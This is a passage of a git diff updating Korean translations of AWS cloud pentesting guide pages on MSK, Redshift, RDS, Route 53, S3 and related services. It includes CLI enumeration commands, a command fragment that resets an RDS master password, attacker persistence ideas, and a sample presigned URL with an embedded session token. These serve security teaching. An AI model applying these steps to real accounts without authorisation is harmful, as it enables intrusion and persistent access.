열거하는 방법과 모든 큐에서 수신하고 데이터를 전송하는 방법을 표시하십시오 (방법을 아는 경우 PR을 보내십시오) ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 21ce16e79..e1c53c951 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,7 +4,7 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)**는 **Apache Kafka**를 통해 스트리밍 데이터를 처리하는 애플리케이션의 개발 및 실행을 용이하게 하는 완전 관리형 서비스입니다. **클러스터**의 생성, 업데이트 및 삭제를 포함한 제어-plane 작업은 Amazon MSK에서 제공합니다. 이 서비스는 데이터 생산 및 소비를 포함하는 Apache Kafka **data-plane operations**의 사용을 허용합니다. 기존 애플리케이션, 도구 및 파트너와 **Apache Kafka 커뮤니티**의 플러그인과의 호환성을 보장하기 위해 **오픈 소스 버전의 Apache Kafka**에서 운영되며, 애플리케이션 코드의 변경이 필요하지 않습니다. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)**는 **Apache Kafka**를 통해 스트리밍 데이터를 처리하는 애플리케이션의 개발 및 실행을 용이하게 하는 완전 관리형 서비스입니다. 클러스터의 생성, 업데이트 및 삭제를 포함한 제어-plane 작업은 Amazon MSK에서 제공합니다. 이 서비스는 데이터 생산 및 소비를 포함하는 Apache Kafka **data-plane operations**의 활용을 허용합니다. 기존 애플리케이션, 도구 및 파트너와 **Apache Kafka 커뮤니티**의 플러그인과의 호환성을 보장하기 위해 **Apache Kafka**의 **오픈 소스 버전**에서 운영됩니다. 이는 애플리케이션 코드의 변경 필요성을 없앱니다. 신뢰성 측면에서 Amazon MSK는 **일반적인 클러스터 실패 시나리오를 자동으로 감지하고 복구**하도록 설계되어, 생산자 및 소비자 애플리케이션이 최소한의 중단으로 데이터 쓰기 및 읽기 활동을 지속할 수 있도록 보장합니다. 또한, **교체된 브로커의 저장소를 재사용**하려고 시도하여 데이터 복제 프로세스를 최적화하여 Apache Kafka가 복제해야 하는 데이터 양을 최소화하는 것을 목표로 합니다. @@ -14,7 +14,7 @@ AWS에서 생성할 수 있는 Kafka 클러스터의 유형은 두 가지입니 공격자의 관점에서 알아야 할 사항은 다음과 같습니다: -- **Serverless는 직접적으로 공개될 수 없습니다** (공개 IP 없이 VPN에서만 실행될 수 있습니다). 그러나 **Provisioned**는 **공개 IP**를 얻도록 구성할 수 있으며(기본적으로는 그렇지 않음), 관련 포트를 **노출**하도록 **보안 그룹**을 구성할 수 있습니다. +- **Serverless는 직접적으로 공개될 수 없습니다** (공개 IP 없이 VPN에서만 실행될 수 있습니다). 그러나 **Provisioned**는 **공개 IP**를 얻도록 구성할 수 있으며 (기본적으로는 그렇지 않음), 관련 포트를 **노출**하도록 **보안 그룹**을 구성할 수 있습니다. - **Serverless**는 인증 방법으로 **IAM만 지원**합니다. **Provisioned**는 SASL/SCRAM (**비밀번호**) 인증, **IAM** 인증, AWS **Certificate** Manager (ACM) 인증 및 **Unauthenticated** 접근을 지원합니다. - 인증되지 않은 접근이 활성화된 경우 Provisioned Kafka를 공개적으로 노출하는 것은 불가능하다는 점에 유의하십시오. @@ -86,7 +86,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistence -만약 **Provisioned Kafka**가 있는 **VPC에 접근할 수 있다면**, **무단 접근을 활성화**할 수 있습니다. **SASL/SCRAM 인증**을 사용하고, 비밀에서 **비밀번호를 읽고**, **다른 제어된 사용자 IAM 권한**을 부여하거나 (IAM 또는 서버리스 사용 시) **인증서**로 지속할 수 있습니다. +만약 **Provisioned Kafka**가 있는 **VPC에 접근할 수 있다면**, **무단 접근을 활성화**할 수 있습니다. **SASL/SCRAM 인증**을 사용하여 **비밀에서** 비밀번호를 **읽고**, **다른 제어된 사용자에게 IAM 권한**을 부여하거나 (IAM 또는 서버리스 사용 시) **인증서**로 지속할 수 있습니다. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index dd0315cb4..e54acc1be 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -4,14 +4,14 @@ ## 기본 정보 -AWS Organizations는 추가 비용 없이 새로운 AWS 계정을 생성할 수 있도록 합니다. 리소스는 손쉽게 할당할 수 있으며, 계정은 효율적으로 그룹화할 수 있고, 개별 계정이나 그룹에 거버넌스 정책을 적용하여 조직 내 관리 및 통제를 강화합니다. +AWS Organizations는 추가 비용 없이 새로운 AWS 계정을 생성할 수 있도록 합니다. 리소스를 쉽게 할당할 수 있으며, 계정을 효율적으로 그룹화하고, 개별 계정이나 그룹에 거버넌스 정책을 적용하여 조직 내 관리 및 통제를 강화합니다. 주요 사항: -- **새 계정 생성**: AWS Organizations는 추가 비용 없이 새로운 AWS 계정을 생성할 수 있습니다. -- **리소스 할당**: 계정 간 리소스 할당 프로세스를 간소화합니다. -- **계정 그룹화**: 계정을 함께 그룹화하여 관리가 더 간편해집니다. -- **거버넌스 정책**: 계정 또는 계정 그룹에 정책을 적용하여 조직 전반에 걸쳐 준수 및 거버넌스를 보장합니다. +- **새 계정 생성**: AWS Organizations는 추가 요금 없이 새로운 AWS 계정을 생성할 수 있습니다. +- **리소스 할당**: 계정 간 리소스를 할당하는 과정을 간소화합니다. +- **계정 그룹화**: 계정을 함께 그룹화하여 관리가 더 원활해집니다. +- **거버넌스 정책**: 계정이나 계정 그룹에 정책을 적용하여 조직 전반에 걸쳐 준수 및 거버넌스를 보장합니다. 자세한 정보는 다음에서 확인할 수 있습니다: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index 5c45f9e38..191ce9410 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -1,17 +1,17 @@ -# AWS - Other Services Enum +# AWS - 기타 서비스 열거 {{#include ../../../banners/hacktricks-training.md}} ## Directconnect -**기업 전용 네트워크를 AWS와 연결할 수 있게 해줍니다** (따라서 EC2 인스턴스를 손상시키고 기업 네트워크에 접근할 수 있습니다). +**기업의 사설 네트워크를 AWS와 연결할 수 있게 해줍니다** (따라서 EC2 인스턴스를 손상시키고 기업 네트워크에 접근할 수 있습니다). ``` aws directconnect describe-connections aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` -## Support +## 지원 AWS에서는 API를 통해 현재 및 이전 지원 사례에 접근할 수 있습니다. ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index cdfb289f1..b5448cbcf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -6,21 +6,21 @@ Redshift는 **빅 데이터 솔루션을 위한 데이터 웨어하우스**로 사용되는 완전 관리형 서비스로, 크기를 페타바이트 이상으로 확장할 수 있습니다. Redshift 클러스터를 사용하면 빠른 SQL 기반 쿼리 도구와 비즈니스 인텔리전스 애플리케이션을 사용하여 데이터 세트에 대한 분석을 실행하고 비즈니스 비전을 더 잘 이해할 수 있습니다. -**Redshift는 KMS 또는 CloudHSM을 사용하여 키의 최상위 계층을 관리하는 네 개의 계층으로 구성된 암호화 키 계층을 사용하여 정지 상태에서 암호화를 제공합니다**. **클러스터에 대해 암호화가 활성화되면 비활성화할 수 없으며 그 반대도 마찬가지입니다**. 암호화되지 않은 클러스터는 암호화할 수 없습니다. +**Redshift는 KMS 또는 CloudHSM을 사용하여 최상위 키를 관리하는 4단계 계층의 암호화 키를 사용하여 정지 상태에서 암호화를 제공합니다**. **클러스터에 대해 암호화가 활성화되면 비활성화할 수 없으며 그 반대도 마찬가지입니다**. 암호화되지 않은 클러스터는 암호화할 수 없습니다. -클러스터의 암호화는 생성 중에만 발생할 수 있으며, 암호화된 후에는 데이터, 메타데이터 및 모든 스냅샷도 암호화됩니다. 암호화 키의 계층 수준은 다음과 같습니다. **1계층은 마스터 키, 2계층은 클러스터 암호화 키(CEK), 3계층은 데이터베이스 암호화 키(DEK), 마지막으로 4계층은 데이터 암호화 키 자체입니다**. +클러스터의 암호화는 생성 중에만 발생할 수 있으며, 암호화된 후에는 데이터, 메타데이터 및 모든 스냅샷도 암호화됩니다. 암호화 키의 계층 수준은 다음과 같습니다. **1단계는 마스터 키, 2단계는 클러스터 암호화 키(CEK), 3단계는 데이터베이스 암호화 키(DEK), 마지막으로 4단계는 데이터 암호화 키 자체입니다**. ### KMS -클러스터를 생성하는 동안 **Redshift의 기본 KMS 키**를 선택하거나 **자신의 CMK**를 선택할 수 있으며, 이는 키의 제어에 대해 더 많은 유연성을 제공합니다. 특히 감사 가능한 관점에서 그렇습니다. +클러스터 생성 중에 **Redshift의 기본 KMS 키**를 선택하거나 **자신의 CMK**를 선택할 수 있으며, 이는 키의 제어에 대해 더 많은 유연성을 제공합니다. 특히 감사 가능성 측면에서 그렇습니다. Redshift의 기본 KMS 키는 키 옵션이 처음 선택되고 사용될 때 Redshift에 의해 자동으로 생성되며, AWS에 의해 완전히 관리됩니다. -이 KMS 키는 CMK 마스터 키(1계층)로 암호화됩니다. 이 암호화된 KMS 데이터 키는 클러스터 암호화 키(CEK, 2계층)로 사용됩니다. 이 CEK는 KMS에 의해 Redshift로 전송되어 클러스터와는 별도로 저장됩니다. Redshift는 이 암호화된 CEK를 안전한 채널을 통해 클러스터에 전송하여 메모리에 저장합니다. +이 KMS 키는 CMK 마스터 키(1단계)로 암호화됩니다. 이 암호화된 KMS 데이터 키는 클러스터 암호화 키(CEK, 2단계)로 사용됩니다. 이 CEK는 KMS에 의해 Redshift로 전송되어 클러스터와는 별도로 저장됩니다. Redshift는 이 암호화된 CEK를 안전한 채널을 통해 클러스터에 전송하여 메모리에 저장합니다. -Redshift는 KMS에 CEK(2계층)의 암호 해제를 요청합니다. 이 암호 해제된 CEK는 메모리에 저장됩니다. Redshift는 무작위 데이터베이스 암호화 키(DEK, 3계층)를 생성하고 이를 클러스터의 메모리에 로드합니다. 메모리의 암호 해제된 CEK는 DEK를 암호화하며, DEK도 메모리에 저장됩니다. +Redshift는 KMS에 CEK(2단계)의 암호 해제를 요청합니다. 이 복호화된 CEK는 메모리에 저장됩니다. Redshift는 무작위 데이터베이스 암호화 키(DEK, 3단계)를 생성하고 이를 클러스터의 메모리에 로드합니다. 메모리의 복호화된 CEK는 DEK를 암호화하며, DEK도 메모리에 저장됩니다. -이 암호화된 DEK는 안전한 채널을 통해 전송되어 Redshift에 클러스터와는 별도로 저장됩니다. CEK와 DEK는 이제 클러스터의 메모리에 암호화된 형태와 암호 해제된 형태로 모두 저장됩니다. 암호 해제된 DEK는 데이터베이스의 각 데이터 블록에 대해 Redshift가 무작위로 생성한 데이터 키(4계층)를 암호화하는 데 사용됩니다. +이 암호화된 DEK는 안전한 채널을 통해 전송되어 Redshift에 클러스터와는 별도로 저장됩니다. CEK와 DEK는 이제 클러스터의 메모리에 암호화된 형태와 복호화된 형태로 모두 저장됩니다. 복호화된 DEK는 Redshift가 데이터베이스의 각 데이터 블록에 대해 무작위로 생성한 데이터 키(4단계)를 암호화하는 데 사용됩니다. AWS Trusted Advisor를 사용하여 Amazon S3 버킷의 구성을 모니터링하고 버킷 로깅이 활성화되어 있는지 확인할 수 있으며, 이는 보안 감사 수행 및 S3에서 사용 패턴 추적에 유용할 수 있습니다. @@ -36,9 +36,9 @@ CloudHSM을 사용하여 암호화를 수행할 때, 먼저 HSM 클라이언트 그런 다음 HSM 클라이언트의 다음 세부정보로 Redshift를 구성해야 합니다: HSM IP 주소, HSM 파티션 이름, HSM 파티션 비밀번호, 그리고 CloudHSM에 의해 내부 마스터 키로 암호화된 공개 HSM 서버 인증서. 이 정보가 제공되면 Redshift는 개발 파티션에 연결하고 접근할 수 있는지 확인하고 검증합니다. -내부 보안 정책이나 거버넌스 제어가 키 회전을 적용해야 한다고 규정하는 경우, Redshift를 사용하여 암호화된 클러스터의 암호화 키를 회전할 수 있습니다. 그러나 키 회전 과정에서 클러스터가 매우 짧은 시간 동안 사용할 수 없게 되므로, 필요할 때만 키를 회전하는 것이 가장 좋습니다. 또는 키가 손상되었을 가능성이 있다고 느낄 경우에만 회전해야 합니다. +내부 보안 정책이나 거버넌스 제어가 키 회전을 적용해야 한다고 규정하는 경우, Redshift를 사용하여 암호화된 클러스터에 대한 암호화 키를 회전할 수 있습니다. 그러나 키 회전 과정 중에 클러스터가 매우 짧은 시간 동안 사용할 수 없게 되므로, 필요할 때만 키를 회전하는 것이 가장 좋습니다. 또는 키가 손상되었을 가능성이 있다고 느낄 경우에만 회전해야 합니다. -회전 중에 Redshift는 클러스터의 CEK를 회전하고 해당 클러스터의 모든 백업에 대해 DEK를 회전합니다. 클러스터에 대해 DEK를 회전할 수 있지만, DEK를 사용하여 암호화된 S3에 저장된 스냅샷에 대해 DEK를 회전하는 것은 불가능합니다. 이 과정이 완료될 때까지 클러스터는 '키 회전 중' 상태로 유지되며, 그 후 상태는 '사용 가능'으로 돌아갑니다. +회전 중에 Redshift는 클러스터의 CEK와 해당 클러스터의 모든 백업에 대한 CEK를 회전합니다. 클러스터에 대한 DEK는 회전하지만, DEK를 사용하여 암호화된 S3에 저장된 스냅샷에 대한 DEK는 회전할 수 없습니다. 이 과정이 완료될 때까지 클러스터는 '키 회전 중' 상태로 유지되며, 그 후 상태는 '사용 가능'으로 돌아갑니다.
@@ -81,13 +81,13 @@ aws redshift describe-scheduled-actions # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 ``` -## Privesc +## 프라이벡스 {{#ref}} ../aws-privilege-escalation/aws-redshift-privesc.md {{#endref}} -## Persistence +## 지속성 다음 작업을 통해 클러스터에 다른 AWS 계정에 대한 액세스를 부여할 수 있습니다: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 3efbb2e95..a08edbb9a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -AWS에서 제공하는 **Relational Database Service (RDS)**는 **클라우드에서 관계형 데이터베이스의 배포, 운영 및 확장을 간소화**하도록 설계되었습니다. 이 서비스는 하드웨어 프로비저닝, 데이터베이스 구성, 패치 및 백업과 같은 노동 집약적인 작업을 자동화하면서 비용 효율성과 확장성의 이점을 제공합니다. +AWS에서 제공하는 **Relational Database Service (RDS)**는 **클라우드에서의 관계형 데이터베이스** 배포, 운영 및 확장을 간소화하도록 설계되었습니다. 이 서비스는 하드웨어 프로비저닝, 데이터베이스 구성, 패치 및 백업과 같은 노동 집약적인 작업을 자동화하면서 비용 효율성과 확장성의 이점을 제공합니다. AWS RDS는 MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server 및 Amazon Aurora를 포함한 다양한 널리 사용되는 관계형 데이터베이스 엔진을 지원하며, MySQL 및 PostgreSQL과의 호환성을 제공합니다. @@ -14,63 +14,63 @@ RDS의 주요 기능은 다음과 같습니다: - 읽기 성능을 향상시키기 위한 **읽기 복제본** 생성. - 높은 가용성과 장애 조치 메커니즘을 보장하기 위한 **다중 가용 영역(AZ) 배포** 구성. - 다음과 같은 다른 AWS 서비스와의 **통합**: -- 강력한 액세스 제어를 위한 AWS Identity and Access Management (**IAM**). -- 포괄적인 모니터링 및 메트릭을 위한 AWS **CloudWatch**. -- KMS 키로 암호화된 상태에서 보안을 보장하기 위한 AWS Key Management Service (**KMS**). + - 강력한 액세스 제어를 위한 AWS Identity and Access Management (**IAM**). + - 포괄적인 모니터링 및 메트릭을 위한 AWS **CloudWatch**. + - KMS 키로 암호화된 AWS Key Management Service (**KMS**). -## Credentials +## 자격 증명 DB 클러스터를 생성할 때 마스터 **사용자 이름**을 구성할 수 있습니다 (**기본값은 `admin`**). 이 사용자의 비밀번호를 생성하려면 다음을 수행할 수 있습니다: -- **비밀번호**를 직접 지정 -- RDS에 **자동 생성**하도록 지시 -- RDS에 **AWS Secret Manager**에서 KMS 키로 암호화하여 관리하도록 지시 +- **비밀번호**를 직접 **지정**합니다. +- RDS에 **자동 생성**하도록 지시합니다. +- RDS에 **AWS Secret Manager**에서 KMS 키로 암호화하여 관리하도록 지시합니다.
-### Authentication +### 인증 3가지 유형의 인증 옵션이 있지만 **마스터 비밀번호 사용은 항상 허용됩니다**:
-### Public Access & VPC +### 공용 액세스 및 VPC -기본적으로 데이터베이스에 **공개 액세스가 허용되지 않습니다**, 그러나 **허용될 수 있습니다**. 따라서 기본적으로 선택된 **보안 그룹**(EC2 SG에 저장됨)이 허용하는 경우에만 동일한 VPC의 머신만 액세스할 수 있습니다. +기본적으로 데이터베이스에 **공용 액세스가 허용되지 않습니다**, 그러나 **허용될 수 있습니다**. 따라서 기본적으로 선택된 **보안 그룹**(EC2 SG에 저장됨)이 허용하는 경우에만 동일한 VPC의 머신만 액세스할 수 있습니다. DB 인스턴스를 노출하는 대신 **RDS Proxy**를 생성하여 DB 클러스터의 **확장성** 및 **가용성**을 **향상**시킬 수 있습니다. 또한 **데이터베이스 포트도 수정할 수 있습니다**. -### Encryption +### 암호화 -AWS 관리 키를 사용하여 **기본적으로 암호화가 활성화되어 있습니다** (대신 CMK를 선택할 수 있습니다). +**암호화는 기본적으로 활성화되어 있습니다** AWS 관리 키를 사용하여 (대신 CMK를 선택할 수 있습니다). -암호화를 활성화하면 **저장소, 스냅샷, 읽기 복제본 및 백업에 대한 암호화가 활성화됩니다**. 이 암호화를 관리하기 위한 키는 **KMS**를 사용하여 발급받을 수 있습니다.\ +암호화를 활성화하면 **저장소, 스냅샷, 읽기 복제본 및 백업에 대한 암호화가 활성화됩니다**. 이 암호화를 관리하기 위한 키는 **KMS**를 사용하여 발급할 수 있습니다.\ 데이터베이스가 생성된 후에는 이 수준의 암호화를 추가할 수 없습니다. **생성 중에 수행해야 합니다**. -그러나 **암호화되지 않은 데이터베이스를 암호화할 수 있는 우회 방법이 있습니다**. 암호화되지 않은 데이터베이스의 스냅샷을 생성하고, 해당 스냅샷의 암호화된 복사본을 생성한 다음, 그 암호화된 스냅샷을 사용하여 새 데이터베이스를 생성하면, 최종적으로 데이터베이스가 암호화됩니다. +그러나 **암호화되지 않은 데이터베이스를 암호화할 수 있는 우회 방법이 있습니다**. 암호화되지 않은 데이터베이스의 스냅샷을 생성하고, 해당 스냅샷의 암호화된 복사본을 생성하고, 그 암호화된 스냅샷을 사용하여 새 데이터베이스를 생성한 다음, 마지막으로 데이터베이스가 암호화됩니다. -#### Transparent Data Encryption (TDE) +#### 투명 데이터 암호화 (TDE) -RDS의 애플리케이션 수준의 암호화 기능과 함께, RDS는 **데이터를 안전하게 보호하기 위한 추가 플랫폼 수준의 암호화 메커니즘**도 지원합니다. 여기에는 Oracle 및 SQL Server에 대한 **투명한 데이터 암호화(TDE)**가 포함됩니다. 그러나 TDE가 데이터를 암호화하여 보안을 강화하지만, **데이터베이스 성능에 영향을 미칠 수 있다는 점을 주의해야 합니다**. 이 성능 영향은 MySQL 암호화 기능이나 Microsoft Transact-SQL 암호화 기능과 함께 사용할 때 특히 두드러집니다. +RDS의 애플리케이션 수준의 암호화 기능과 함께, RDS는 데이터가 저장될 때 보호하기 위한 **추가 플랫폼 수준의 암호화 메커니즘**도 지원합니다. 여기에는 Oracle 및 SQL Server에 대한 **투명 데이터 암호화 (TDE)**가 포함됩니다. 그러나 TDE가 데이터를 저장할 때 암호화하여 보안을 강화하지만, **데이터베이스 성능에 영향을 미칠 수 있다는 점을 주의해야 합니다**. 이 성능 영향은 MySQL 암호화 기능이나 Microsoft Transact-SQL 암호화 기능과 함께 사용할 때 특히 두드러집니다. TDE를 사용하려면 몇 가지 사전 단계가 필요합니다: 1. **옵션 그룹 연결**: -- 데이터베이스는 옵션 그룹과 연결되어야 합니다. 옵션 그룹은 설정 및 기능을 위한 컨테이너 역할을 하여 보안 향상을 포함한 데이터베이스 관리를 용이하게 합니다. -- 그러나 옵션 그룹은 특정 데이터베이스 엔진 및 버전에서만 사용할 수 있다는 점에 유의해야 합니다. + - 데이터베이스는 옵션 그룹과 연결되어야 합니다. 옵션 그룹은 설정 및 기능을 위한 컨테이너 역할을 하여 보안 향상을 포함한 데이터베이스 관리를 용이하게 합니다. + - 그러나 옵션 그룹은 특정 데이터베이스 엔진 및 버전에서만 사용할 수 있다는 점에 유의해야 합니다. 2. **옵션 그룹에 TDE 포함**: -- 옵션 그룹과 연결된 후, Oracle 투명한 데이터 암호화 옵션을 해당 그룹에 포함해야 합니다. -- TDE 옵션이 옵션 그룹에 추가되면 영구적인 요소가 되며 제거할 수 없다는 점을 인식하는 것이 중요합니다. + - 옵션 그룹과 연결된 후, Oracle 투명 데이터 암호화 옵션을 해당 그룹에 포함해야 합니다. + - TDE 옵션이 옵션 그룹에 추가되면 영구적인 요소가 되며 제거할 수 없다는 점을 인식하는 것이 중요합니다. 3. **TDE 암호화 모드**: -- TDE는 두 가지 고유한 암호화 모드를 제공합니다: -- **TDE 테이블스페이스 암호화**: 이 모드는 전체 테이블을 암호화하여 더 넓은 범위의 데이터 보호를 제공합니다. -- **TDE 열 암호화**: 이 모드는 데이터베이스 내의 특정 개별 요소를 암호화하는 데 중점을 두어 어떤 데이터가 암호화되는지에 대한 보다 세밀한 제어를 허용합니다. + - TDE는 두 가지 고유한 암호화 모드를 제공합니다: + - **TDE 테이블스페이스 암호화**: 이 모드는 전체 테이블을 암호화하여 데이터 보호의 범위를 넓힙니다. + - **TDE 열 암호화**: 이 모드는 데이터베이스 내의 특정 개별 요소를 암호화하는 데 중점을 두어 어떤 데이터가 암호화되는지에 대한 보다 세밀한 제어를 허용합니다. 이러한 전제 조건과 TDE의 운영 복잡성을 이해하는 것은 RDS 내에서 암호화를 효과적으로 구현하고 관리하여 데이터 보안과 필요한 표준 준수를 보장하는 데 중요합니다. -### Enumeration +### 열거 ```bash # Clusters info ## Get Endpoints, username, port, iam auth enabled, attached roles, SG @@ -131,7 +131,7 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password ### SQL 인젝션 -**SQL 구문**을 사용하여 DynamoDB 데이터에 접근할 수 있는 방법이 있으며, 따라서 일반적인 **SQL 인젝션도 가능합니다**. +DynamoDB 데이터에 **SQL 구문**으로 접근할 수 있는 방법이 있으므로, 일반적인 **SQL 인젝션도 가능합니다**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index dcea56ae6..8336b8cf7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -4,8 +4,8 @@ ## Route 53 -아마존 Route 53은 클라우드 **도메인 이름 시스템(DNS)** 웹 서비스입니다.\ -Route53을 통해 https, http 및 tcp **웹 페이지에 대한 상태 검사**를 생성할 수 있습니다. +Amazon Route 53는 클라우드 **도메인 이름 시스템 (DNS)** 웹 서비스입니다.\ +Route53을 통해 https, http 및 tcp **웹 페이지에 대한 상태 확인**을 생성할 수 있습니다. ### IP 기반 라우팅 @@ -20,7 +20,7 @@ aws route53 list-resource-record-sets --hosted-zone-id # Get al aws route53 list-health-checks aws route53 list-traffic-policies ``` -### Privesc +### 프리벡스 {{#ref}} ../aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 737e8c035..b65e17145 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -4,9 +4,9 @@ ## S3 -Amazon S3는 **대량의 데이터를 저장할 수 있는** 서비스입니다. +Amazon S3는 **대량의 데이터를 저장**할 수 있는 서비스입니다. -Amazon S3는 데이터가 휴지 상태일 때 **보호**를 달성하기 위한 여러 가지 옵션을 제공합니다. 옵션에는 **권한**(정책), **암호화**(클라이언트 및 서버 측), **버킷 버전 관리** 및 **MFA** **기반 삭제**가 포함됩니다. **사용자는** 데이터 보호를 달성하기 위해 이러한 옵션 중 하나를 활성화할 수 있습니다. **데이터 복제**는 AWS의 내부 기능으로, **S3가 모든 가용 영역에 걸쳐 각 객체를 자동으로 복제**하며, 이 경우 조직에서 이를 활성화할 필요가 없습니다. +Amazon S3는 데이터가 휴지 상태일 때 **보호**를 달성하기 위한 여러 옵션을 제공합니다. 옵션에는 **권한**(정책), **암호화**(클라이언트 및 서버 측), **버킷 버전 관리** 및 **MFA** **기반 삭제**가 포함됩니다. **사용자는** 데이터 보호를 달성하기 위해 이러한 옵션 중 하나를 활성화할 수 있습니다. **데이터 복제**는 AWS의 내부 기능으로, **S3가 모든 가용 영역에 걸쳐 각 객체를 자동으로 복제**하며, 이 경우 조직에서 이를 활성화할 필요가 없습니다. 리소스 기반 권한을 사용하면 버킷의 하위 디렉토리에 대한 권한을 별도로 정의할 수 있습니다. @@ -18,15 +18,15 @@ Amazon S3는 데이터가 휴지 상태일 때 **보호**를 달성하기 위한 ### S3 액세스 로그 -S3 액세스 로그를 **활성화하는** 것이 가능하며(기본적으로 비활성화됨), 특정 버킷에 대해 로그를 다른 버킷에 저장하여 누가 버킷에 접근하는지 알 수 있습니다(두 버킷은 동일한 리전에 있어야 함). +S3 액세스 로그를 **활성화**(기본적으로 비활성화됨)하여 특정 버킷에 대해 로그를 다른 버킷에 저장하여 누가 버킷에 접근하는지 알 수 있습니다(두 버킷은 동일한 지역에 있어야 함). ### S3 사전 서명된 URL -사전 서명된 URL을 생성하여 **버킷의 지정된 파일에 접근하는 데 사용할 수 있습니다**. **사전 서명된 URL은 다음과 같습니다**: +사전 서명된 URL을 생성하여 일반적으로 버킷의 **지정된 파일에 접근**하는 데 사용할 수 있습니다. **사전 서명된 URL은 다음과 같습니다**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` -A presigned URL can be **created from the cli using credentials of a principal with access to the object** (사용하는 계정이 접근 권한이 없으면, 짧은 presigned URL이 생성되지만 쓸모가 없습니다) +사전 서명된 URL은 **객체에 접근할 수 있는 주체의 자격 증명을 사용하여 cli에서 생성할 수 있습니다** (사용하는 계정이 접근 권한이 없으면 더 짧은 사전 서명된 URL이 생성되지만 쓸모가 없습니다) ```bash aws s3 presign --region 's3:///' ``` @@ -44,7 +44,7 @@ ExpiresIn=3600 ``` ### S3 암호화 메커니즘 -**DEK는 데이터 암호화 키**를 의미하며, 데이터 암호화에 항상 